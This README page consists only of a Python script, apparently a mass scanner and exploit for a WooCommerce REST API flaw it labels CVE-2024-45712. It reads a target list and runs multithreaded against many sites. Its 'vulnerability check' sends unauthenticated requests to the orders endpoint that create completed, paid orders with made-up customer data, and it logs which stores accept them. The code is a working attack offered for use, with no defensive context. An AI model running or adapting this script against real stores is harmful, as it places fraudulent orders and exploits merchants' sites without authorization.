README.md
Rendering markdown...
#!/usr/bin/env python3
import requests
import json
import argparse
from urllib.parse import urljoin, urlparse
from concurrent.futures import ThreadPoolExecutor, as_completed
# Suppress insecure request warnings (for sites with bad SSL)
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def check_woocommerce_api(target_url):
"""Check if the WooCommerce REST API is enabled."""
api_url = urljoin(target_url, '/wp-json/wc/v3/')
try:
response = requests.get(api_url, timeout=10, verify=False)
if response.status_code == 200:
# Check if the response contains WooCommerce indicators
if 'woocommerce' in response.text.lower() or 'product' in response.text.lower():
return True
return False
except requests.exceptions.RequestException:
return False
def get_woocommerce_version(target_url):
"""Attempt to get the WooCommerce version from readme.txt."""
readme_url = urljoin(target_url, '/wp-content/plugins/woocommerce/readme.txt')
try:
response = requests.get(readme_url, timeout=10, verify=False)
if response.status_code == 200:
# Look for the version number in the readme
for line in response.text.split('\n'):
if 'stable tag:' in line.lower():
version = line.split(':')[1].strip()
return version
except requests.exceptions.RequestException:
pass
return "Unknown"
def check_vulnerability(target_url, product_id=1, quantity=1):
"""Check if the target is vulnerable to CVE-2024-45712."""
order_url = urljoin(target_url, '/wp-json/wc/v3/orders')
# Generate random customer data
import random
import string
random_name = ''.join(random.choices(string.ascii_lowercase, k=8))
random_email = f"{random_name}@example.com"
order_data = {
"payment_method": "bacs",
"payment_method_title": "Direct Bank Transfer",
"set_paid": True,
"status": "completed",
"billing": {
"first_name": random_name,
"last_name": random_name,
"email": random_email
},
"line_items": [
{
"product_id": product_id,
"quantity": quantity
}
]
}
try:
headers = {'Content-Type': 'application/json'}
response = requests.post(
order_url,
data=json.dumps(order_data),
headers=headers,
timeout=15,
verify=False
)
if response.status_code == 201:
order_info = response.json()
return True, f"Order created successfully! Order ID: {order_info.get('id', 'N/A')}"
elif response.status_code == 401:
return False, "Target is not vulnerable (401 Unauthorized)"
else:
return False, f"Target returned status code: {response.status_code}"
except requests.exceptions.RequestException as e:
return False, f"Request failed: {str(e)}"
def scan_target(target, product_id=1, quantity=1):
"""Scan a single target for WooCommerce and vulnerability."""
# Ensure the target has a scheme (http:// or https://)
if not target.startswith(('http://', 'https://')):
target = 'http://' + target
results = {
'target': target,
'has_woocommerce': False,
'version': 'Unknown',
'vulnerable': False,
'details': ''
}
print(f"[+] Scanning: {target}")
# Check for WooCommerce
if check_woocommerce_api(target):
results['has_woocommerce'] = True
results['version'] = get_woocommerce_version(target)
# Check for vulnerability
is_vuln, details = check_vulnerability(target, product_id, quantity)
results['vulnerable'] = is_vuln
results['details'] = details
status = "VULNERABLE" if is_vuln else "NOT VULNERABLE"
print(f"[-] {target} - WooCommerce {results['version']} - {status}")
else:
results['details'] = "No WooCommerce detected"
print(f"[-] {target} - No WooCommerce detected")
return results
def main():
parser = argparse.ArgumentParser(description='Scan for vulnerable WooCommerce sites (CVE-2024-45712)')
parser.add_argument('-i', '--input', required=True, help='Input file with targets (one per line)')
parser.add_argument('-o', '--output', default='results.txt', help='Output file for results')
parser.add_argument('-p', '--product-id', type=int, default=1, help='Product ID to use for testing')
parser.add_argument('-q', '--quantity', type=int, default=1, help='Quantity of products to order')
parser.add_argument('-t', '--threads', type=int, default=5, help='Number of concurrent threads')
args = parser.parse_args()
# Read targets from file
try:
with open(args.input, 'r') as f:
targets = [line.strip() for line in f.readlines() if line.strip()]
except FileNotFoundError:
print(f"[!] Error: File {args.input} not found!")
return
print(f"[*] Loaded {len(targets)} targets from {args.input}")
print(f"[*] Starting scan with {args.threads} threads...")
print("-" * 60)
results = []
# Scan targets using thread pool
with ThreadPoolExecutor(max_workers=args.threads) as executor:
future_to_target = {
executor.submit(scan_target, target, args.product_id, args.quantity): target
for target in targets
}
for future in as_completed(future_to_target):
target = future_to_target[future]
try:
result = future.result()
results.append(result)
except Exception as e:
print(f"[!] Error scanning {target}: {str(e)}")
# Save results to file
with open(args.output, 'w') as f:
for result in results:
f.write(f"Target: {result['target']}\n")
f.write(f"WooCommerce: {result['has_woocommerce']}\n")
f.write(f"Version: {result['version']}\n")
f.write(f"Vulnerable: {result['vulnerable']}\n")
f.write(f"Details: {result['details']}\n")
f.write("-" * 40 + "\n")
# Print summary
vulnerable_count = sum(1 for r in results if r['vulnerable'])
woocommerce_count = sum(1 for r in results if r['has_woocommerce'])
print("\n" + "=" * 60)
print("[SCAN SUMMARY]")
print(f"Total targets: {len(targets)}")
print(f"WordPress with WooCommerce: {woocommerce_count}")
print(f"Vulnerable targets: {vulnerable_count}")
print(f"Results saved to: {args.output}")
print("=" * 60)
if __name__ == "__main__":
main()